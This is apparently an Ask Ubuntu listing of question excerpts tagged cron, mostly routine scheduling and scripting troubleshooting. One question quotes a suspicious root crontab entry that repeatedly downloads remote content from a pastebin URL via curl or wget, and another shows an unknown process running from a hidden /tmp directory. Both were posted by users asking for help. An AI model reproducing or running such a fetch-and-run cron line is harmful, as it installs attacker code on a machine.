We’re rewarding the question askers & reputations are being recalculated! Read more.

Questions tagged [cron]

Cron is used to execute scheduled commands. It acts as a task scheduler on Linux and UNIX systems which will execute commands at specified times set by the user. Cron has a great deal of customization and is often used on server environments where common tasks are run on a regular basis.

Filter by
Sorted by
Tagged with
0
votes
1answer
39 views

Ubuntu VPS CPUs sometimes go wild with a process I don't recognize

My VPS sometimes goes wild because of: /tmp/.X17-unix/.rsync/c/lib/64/tsm --library-path /tmp/.X17-unix/.rsync/c/lib/64/ /tmp/.X17-unix/.rsync/c/tsm64 -t 302 -f 1 -s 8 -S 8 -p 0 -d 1 After killing ...
0
votes
0answers
28 views

Cron doesn't work properly on Ubuntu

I'm using Ubuntu 18.04.2 LTS and I need to run a program once a day, in background, let's say at 20:00. The path of my program is: /home/isola/Desktop/backup_database/backup and backup is the name of ...
1
vote
1answer
46 views

Run script every 4 minutes but don't run from 3:00 to 3:40

Issue. In cron, what is the best and simplest way to configure run example.sh every 4 minutes in hour, but from 3:00 to 3:40 don't? I tried this. */4 0-3 * * * example.sh */4 4-0 * * * example.sh 40,...
1
vote
1answer
48 views

Output redirection to a file, used inside script, is not working when executed from crontab

The script is working when executed from terminal but, it's giving "(CRON) info (No MTA installed, discarding output)" information when executed from crontab. Below are my script contents. I have 2 ...
0
votes
1answer
30 views

How can I use cron to restart apache in some conditions

This is the first time I'm using cron. I want to restart the apacher in my server if the amount of available memory goes less than 500 mb. To do so I wrote the following script: ...
0
votes
1answer
41 views

virsh list is empty when run from user crontab

I have added a couple of hypervisors with Ubuntu 18.04 and added the scripts that works on 16.04 and 14.04. Among them are some scripts that are installed in the user crontab. Here's part of the ...
2
votes
2answers
93 views

Cronjobs not working but same command works fine from command line

I’ve installed Mautic (email program). It needs 3 cronjobs to run properly. php /var/www/mydomainname/htdocs/app/console mautic:segments:update php /var/www/mydomainname/htdocs/app/console mautic:...
2
votes
2answers
106 views

crontab not running second argument after first argument

So I've got the following crontab rule (they are called rules, right?) but after a.out is finished, b.out doesn't start. 00 15 * * * /home/jesse/test/a.out && /home/jesse/test/b.out Both ...
0
votes
1answer
66 views

Executing a bash script and call python script via crontab

I have exactly the same problem : https://askubuntu.com/a/117989/1012849 What i don't understand it's how to specify path of SHELL=/bin/sh Because i can't move my script from : /home/ubuntu/folder/...
0
votes
0answers
60 views

Crontab bash script doesn't work

I have a simple script and I try to run this every 3: 00 am via crontab. #!/bin/bash /usr/bin/screen -SX fbbot quit; /usr/bin/screen -dmS fbbot /home/vemu/.nvm/versions/node/v10.16.3/bin/node /home/...
0
votes
2answers
51 views

ubuntu server Execute python script via crontab

I am trying to run a python script on a server with Ubuntu but it does not work. I manually tested the script and it WORKS correctly but I automatically tested it in 3 ways but nothing; 1 * * * * /...
0
votes
1answer
37 views

Crontab not running task [duplicate]

I did crontab -e then added */2 * * * * /usr/bin/notify-send "test", which is supposed to send a notification every 2 minutes, but it's not working. The crontab file looks like this. # Edit this ...
0
votes
1answer
26 views

How to locate the cron file entry for a scheduled task?

I have an old Ubuntu system. crontab -l shows that a particular job is running every 30 minutes: # m h dom mon dow command 30 * * * * ~/scripts/ferc.sh However, I am unable to find this line in /...
2
votes
1answer
37 views

How do you copy a directory that has a variable in a path to a designated destination with a standard path

I'd like to automate the following. A bunch of stuff in a folder called ~/Backup/28_10_2019_files/LoadsofStuff needs to be copied to a folder called ~/Backup/Daily/LoadsofStuff on a daily basis. ...
0
votes
1answer
32 views

rtcwake only using tomorrow if time is passed

my server goes to sleep after 30 minutes idle. And I need to wake up my server every day at 3am. So far I use the following cron entry: @reboot /usr/sbin/rtcwake -m no -u -t $(date +\%s -d `tomorrow ...
0
votes
0answers
26 views

crontab does not work ubuntu 18.04

Good day. I have AIDE installed https://www.tecmint.com/check-integrity-of-file-and-directory-using-aide-in-linux/ It annoys me because it starts when it wants to. I even put it in "crontab" like the ...
2
votes
1answer
52 views

Bash script not creating file from crontab

I have already tried half of askubuntu but still not succeeding. I got the following shell script: #!/bin/bash echo "test" > "/mnt/ssd/test.txt" echo "test" And the following crontab -e line: * ...
0
votes
0answers
34 views

Start up script .sh using systemd not working and exits with status=127

I'm trying to create a startup script .sh by using systemd (I've tried with /etc/init, /etc/init.d, crontab -e but it didn't work. I was able to solve the error the first time I configured it with ...
0
votes
0answers
28 views

I think my server has become part of a botnet, but ClamAV can't find anything

I know virtually nothing about Ubuntu so please be gentle. Recently my server host has contacted me saying they suspect my server is part of a botnet, specifically one that probes TCP ports. They've ...
0
votes
0answers
17 views

Duplicity works with run-parts but not in anacron

I am working to set up backups from my computer to Google Cloud Storage using duplicity. I used gsutil to create a ~/.boto configuration file, and created a simple bash script that includes a call to ...
-1
votes
1answer
39 views

Is there a way to know if transmission-daemon currently active?

I have a laptop that i use as a media station connected to my TV, occasionally i would fall a sleep and forget to shutdown the laptop and that is unwanted behavior. so i use crontabs to shutdown my ...
0
votes
1answer
112 views

Ubuntu Server 16.04 unusual crontab entry

Good day to all, I have this crontab entry in the root user of our Ubuntu Server 16.04 VM. */11 * * * * (curl -fsSL https://pastebin.com/raw/9QVpd02i||wget -q -O- https://pastebin.com/raw/9QVpd02i||...
0
votes
1answer
76 views

I have removed my crontab. How can I recover it?

I made a mistake by issuing the crontab - r command and the crontab was removed. Now, when I type crontab -l it is showing no crontab for root. Can anyone please help me to restore the crontab?
1
vote
0answers
32 views

Create a Cron File on Ubuntu

I am trying to create a .txt file via Cron in Ubuntu, but I have no error errors nor is the file created. I am editing or archiving the file inside / etc with the following command line: '* * * * * ...
3
votes
0answers
61 views

When is update-apt-xapian-index scheduled to run?

OS: Kubuntu 18.04.3 $ update-apt-xapian-index --version update-apt-xapian-index 0.47 $ /etc/cron.weekly has apt-xapian-index. None of the other cron-related folders in /etc have apt-xapian-index or ...
5
votes
1answer
206 views

Lubuntu, running script on boot

I'm using Lubuntu 19.04 with LXQt I'm trying to remap the Caps-Lock and Escape keys. I have found the commands I needed to make that happen and I've made an executable script for them. If I run the ...
1
vote
0answers
36 views

Cron job not creating snapshots

I have a cron job set up in my crontab which is set to fire a snapshot every first minute of an hour. When I see the cron logs I can see that it triggered the task but I do not see the snapshots in ...
0
votes
1answer
71 views

Cron job not working (CURL)

I have a server using Linux 19.04 First I did: nano /etc/crontab The below things were already in the file SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom ...
0
votes
2answers
178 views

running a backup script after dropbox has updated

running: Ubuntu 18.04 (gnome) (also installed xfce4 package, if that matters) cron version: 3.0pl1-128.1ubuntu1 on: amd64 updates: all ...
1
vote
0answers
46 views

Scheduling artisan command based on condition in crontab

I have several artisan commands. The command will send emails (newsletter) to users who have subscribed to my site whenever there are new announcement(s) or tender(s) posted in my site. So my ...
0
votes
0answers
19 views

CRON job not running - Python Script [duplicate]

I'm trying to run a Python script every hour although it doesn't seem to be executing. The command in crontab -e is: 0 * * * * /usr/bin/python3 /home/ubuntu/Python_Script/main.py 2>&1 /tmp/...
0
votes
0answers
97 views

Thousand of session (sess_*) files in tmp directory

I have 3 VPS with similar setup that hold news/blogging wordpress websites. In 2 of them i keep getting thousand sess_* files in /home/user/tmp directory. I had to set a cron job to delete these ...
1
vote
1answer
37 views

lynx: relocation error

Trying to run cron jobs with lynx fails. I get this error: lynx: relocation error: /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file ...
0
votes
0answers
46 views

sshpass not working with cron with Cisco IOSXR

Please help me out here , this simple script here ssh into cisco IOSXR device and put a command then return result to file, When i run it in terminal all ok , But when put it in cron it fails : ...
0
votes
1answer
36 views

Why won't this command run in cron?

I have this command echo "$(date +"%T") $(sensors | grep -Eo "[0-9]+\.[0-9]+" | head -1)" >> /home/me/temp_log.txt that gets some sensor data and puts it into a file and I want to run it ...
0
votes
0answers
27 views

crontab execute a command after boot

I'm trying to set up the wake on lan on my pc but every time I boot it the wol support (sudo ethtool -s enp2s0 wol g) just resets, I've tried to run a command in crontab (@reboot ethtool -s enp2s0 wol ...
0
votes
1answer
59 views

Rsync will not work in crontab

Sorry if this is long, I wanted to get as much information in as possible. I am running an odroid c2 with Ubuntu MATE 18.04.3 as a home NAS with two 6TB drives. I have been trying to mirror them using ...
0
votes
1answer
300 views

How to avoid restarting nginx to renew letsencrypt certificate?

I have installed a Nginx server to host my website, and added HTTPS with LetsEncrypt. The problem is every time the certificate expire, my site become inaccessible and I need to manually restart the ...
1
vote
1answer
55 views

How can I get my script to change my background?

I'm trying to get a custom script to run, it does a basic job of switching randomly my wallpapers depending on the time of day from two folders, one folder has "day" wallpapers and the other has "...
0
votes
0answers
27 views

Cron, not working [duplicate]

Issue I have this cronjob. 5 12 * * * find /var/www/html -name "*.php" -o -name "*.htm*" -o -name "*.css" | tar -cf /var/www/export/$(date +"%m-%d-%Y")-backup-fs.tar.gz -T - But it is not working, ...
0
votes
0answers
18 views

Startup script in crontab doesn't work on reboot

On system reboot init 6 I would like to start my services for my rails project the script contains pull changes from git, run bundle install and run delayed job workers The script is in /etc/init.d/...
0
votes
0answers
193 views

Multiple Processes getting stopped with error “Resource temporarily unavailable” and “can't fork” resulting in crash

We are running a script on Dell Edge gateway 3002 to send data to cloud, but after running for 4-5 days the gateway becomes unresponsive(hanged state) and can't be pinged. The gateway has Ubuntu 18....
0
votes
0answers
13 views

Notify-send not working in crontab (Ubuntu) [duplicate]

I have created following command in the crontab but it won't work: * * * * * env DISPLAY=:0 notify-send "title" "message" Note that I am not logged in as root!
0
votes
1answer
152 views

Command not found in Crontab [duplicate]

I am new with Crontab and Linux. I am trying to schedule this following command line instruction in Crontab: speedtest-cli --csv &>> /home/pi/speedtestLog.txt I am trying doing it: */1 * ...
1
vote
2answers
188 views

Write $(date) Into File Using Cron and Bash Shell Script

Ubuntu 18.04 running as guest on MacOS 10.14.3. Hypervisor: VMWare Fusion 10 Objective: Every minute, append the date/time into a file Status: Script runs every minute, inserting a blank new line ...
0
votes
1answer
113 views

Long running rsync script + cron

I have a simple bash script that executes a rsync command to sync a large number of files (4TB+) from a remote server to my local machine. Using crontab -e I have set up a schedule for this script to ...
0
votes
1answer
38 views

Crontab not running my shell script

For some reason my crontab is not running my shell script, the shell sends me an email when disk space is full. This is my script #!/bin/bash CURRENT=$(df / | grep / | awk '{ print $5}' | sed 's/%//g'...
1
vote
1answer
465 views

Ubuntu 18.04 on WSL cron daemon not running after reboot

I have Ubuntu 18.04.1 LTS running under Windows 10 Pro. After every reboot, the cron daemon is not started. I can start it manually with sudo service cron start. What can I configure or what system ...
0
votes
0answers
50 views

Running a python script via crontab - script is running but missing from ps

I placed a python task in etc/crontab to run every minute: * * * * * myuser python3 /home/myuser/Ares/Check_to_Restore.py >> /home/myuser/Check_log.txt The script is a wrapper that calls ...
0
votes
0answers
111 views

How do I schedule Python script function with arguments using Crontab?

Here we go, I would like to schedule this command using crontab. python3 -c 'import transactions; transactions.updateTransactions(1,1,1)' The file is located in: $ ~/home/pi/Public/pythonScripts/ I ...